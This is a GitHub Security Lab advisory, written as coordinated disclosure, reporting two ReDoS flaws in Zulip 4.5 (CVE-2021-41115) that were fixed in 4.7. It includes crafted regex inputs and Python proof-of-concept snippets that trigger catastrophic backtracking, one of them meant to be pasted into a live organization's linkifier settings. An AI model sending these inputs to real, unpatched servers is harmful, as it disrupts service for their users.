GHSL-2021-118: ReDoS (Regular Expression Denial of Service) in Zulip - CVE-2021-41115

Coordinated Disclosure Timeline

• 2021-08-31: Sent report to security@zulip.com.
• 2021-08-31: Reply from security@zulip.com: “Thank you for the report! We’ll investigate these and get back to you shortly.”
• 2021-09-01: Update from security@zulip.com: they have investigated and determined that the first issue is a genuine vulnerability because the regex is “accessible to users who can access organization settings to configure new linkifiers”, but the second issues is not a vulnerability because the regex “only acts on controlled inputs – namely, existing version-controlled documentation files on disk”. However, they intend to fix both regexes by switching to the pyre2 library.
• 2021-10-04: Fixed in version 4.7: GHSA-4h36-mqfq-42jg.

Summary

Zulip contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service).

Product

Zulip

Tested Version

4.5

Details

ReDoS

ReDoS, or Regular Expression Denial of Service, is a vulnerability affecting inefficient regular expressions which can perform extremely badly when run on a crafted input string.

This vulnerability was found using a CodeQL query which identifies inefficient regular expressions.

Two separate regular expressions are vulnerable, as described below.

Regex 1: Custom linkifiers in zerver/models.py.

The vulnerable regular expression is here.

Please follow these steps to reproduce the issue on a live Zulip organization:

• Go into the organization settings in a Zulip org.
• Go to the Linkifiers tab.
• Paste the following into the Pattern text box:

+(?P<w>a)a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>

• Type something into the URL format string text box.
• Click Add linkifier.
• Wait about 6 seconds for an error to appear.
• Make the above string longer for a bigger effect

A second way to see that the regular expression is vulnerable is to copy-paste it into a separate file as shown below:

• Run the code below with python3:

import re
regex = re.compile(r"^(?:(?:[\w\-#_= /:]*|[+]|[!])(\(\?P<\w+>.+\)))+$")
regex.match("+(?P<w>a)a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>")

Regex 2: Markdown extensions in zerver/openapi/markdown_extension.py

The vulnerable regular expression is here.

To see that the regular expression is vulnerable, copy-paste it into a separate file as shown below:

• Run the code below with python3:

import re
regex = re.compile(r"\{generate_code_example(\(\s*(.+?)\s*\))*\|\s*(.+?)\s*\|\s*(.+?)\s*(\(\s*(.+)\s*\))?\}");
regex.match("{generate_code_example(a)()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()}")

Impact

This issue may lead to a denial of service.

CVE

• CVE-2021-41115

Credit

This issue was discovered by GitHub team members @erik-krogh (Erik Krogh Kristensen) and @yoff (Rasmus Petersen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-118 in any communication regarding this issue.